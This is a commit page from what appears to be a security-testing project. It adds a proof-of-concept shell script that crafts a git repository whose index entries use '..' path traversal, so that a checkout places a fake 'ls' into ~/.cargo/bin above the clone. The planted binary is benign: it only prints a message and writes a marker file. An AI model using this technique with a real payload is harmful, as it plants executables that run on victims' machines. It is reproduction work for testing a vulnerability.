Skip to content

Commit 7fa0185

Browse files
committed
Start on demo script making repo with .. trees, deploying above repo
This should not be incorporated into automated tests in its current form. It is a proof of concept to generate repositories that attempt to install real executables in directories where they may be run, whereas test fixtures should completely limit all effects to testing directories, even in the event of regressions or unexpected failures.
1 parent 1076375 commit 7fa0185

File tree

1 file changed

+33
-0
lines changed

1 file changed

+33
-0
lines changed
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
#!/bin/sh
2+
# TODO: Before using in tests, limit this to never target real bin dirs!
3+
set -eu
4+
5+
repo="$1"
6+
bin='.cargo/bin'
7+
8+
git init -- "$repo"
9+
cd -- "$repo"
10+
11+
for dir in .a .b .c .d .e .f .g .h .i .j; do
12+
mkdir -- "$dir"
13+
touch -- "$dir/.keep"
14+
done
15+
16+
cat >ls.tmp <<'EOF'
17+
#!/bin/sh
18+
printf 'Vulnerable!\n'
19+
date >~/vulnerable
20+
exec /bin/ls "$@"
21+
EOF
22+
23+
upward='..'
24+
for dir in .a .b .c .d .e .f .g .h .i .j; do
25+
upward="../$upward" # So .a has ../.., then .b has ../../.., and so on.
26+
cp -- ls.tmp "$(printf '%s' "$dir/$upward/$bin/ls" | tr / @)"
27+
done
28+
29+
rm ls.tmp
30+
git add .
31+
ex -s -c '%s/@\.\./\/../g' -c 'x' .git/index # Replace each "@.." with "/..".
32+
git commit -m 'Initial commit'
33+
git show --stat

0 commit comments

Comments
 (0)